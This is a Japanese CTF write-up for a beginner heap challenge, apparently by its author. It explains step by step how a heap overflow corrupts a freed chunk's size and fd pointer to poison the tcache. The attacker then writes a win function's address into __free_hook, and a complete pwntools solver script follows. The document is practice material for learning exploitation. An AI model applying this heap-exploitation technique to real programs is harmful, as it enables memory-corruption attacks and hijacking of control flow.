Beginner’s Heap (My solver)

作問者writeup

方針

Heap overflowによって、下のチャンクのfdとサイズを書き換えて、tcache poisoning によるwin関数の呼び出し。

やる

Bの領域をmallocしてfreeすることで、tcache(の0x20ようのスレッド)につなげる。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055dfd3002350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1. Bのfdを書き換える

freeされたチャンク(freed chunk)のfdNULLなので、次につながっているfreed chunkはない。 ここで、AのHeap Overflowを利用して、Bのfdを書き換えるとfdに値が入るので、tcache君はBの次があると錯覚する。

A*24 + 0x31 + __freehookを与えた図。

Image from Gyazo

2. fdを__free_hookで書き換える

fd__free_hook(のアドレス)で書き換えると、tcacheはこのようになる。

(tcacheを汚染しているので、これをtcache poisoningという)

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000557af97c3350(rw-) ]
        ||
        \/
[ 0x00007effac9cc8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

3. chunk sizeを0x30にする

chunk sizeが0x20のままだと、一向に__free_hookのアドレスが返ってこない。

0x30にすると、Bのfreed chunkは0x30用のtcacheに繋がれるので、tcacheの先頭に__free_hookのアドレスが来る。

(0x20用のtcacheにB__free_hookが繋がってるとき)

tcache [0x20] -> B -> __free_hook
tcache [0x30] -> NULL

↓↓↓

(Bのchunk sizeを0x30にして、malloc and freeしたとき)

tcache [0x20] -> __free_hook
tcache [0x30] -> B

__free_hookにwin関数を書き込む

B = malloc(0x18)で返ってくるアドレスは、__free_hookであることがわかる。 __free_hookは、free()を実行したときに呼ばれるフック1である。 したがって、__free_hookwin関数のアドレスを書き込んでfree()をすることで、win関数が呼ばれる。

solver

from pwn import *

context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

def write(data):
    io.sendlineafter("> ", "1")
    io.sendline(data)

def malloc(data):
    io.sendlineafter("> ", "2")
    io.sendline(data)

def free():
    io.sendlineafter("> ", "3")

def describe_heap():
    io.sendlineafter("> ", "4")

io = process("./chall")

#leak address
io.recvuntil("<__free_hook>: ")
addr_free_hook = int(io.recvline(), 16)
print("__free_hook address: " + hex(addr_free_hook))

io.recvuntil("<win>: ")
addr_win = int(io.recvline(), 16)
print("win address: " + hex(addr_win))

payload = b"A"*0x18
payload += p64(0x31)
payload += p64(addr_free_hook)

malloc("")
free()
write(payload)

malloc("")
free()

malloc(p64(addr_win))
free()

io.interactive()

  1. フック(Hook)は、一回経由する場所というイメージである。 ↩︎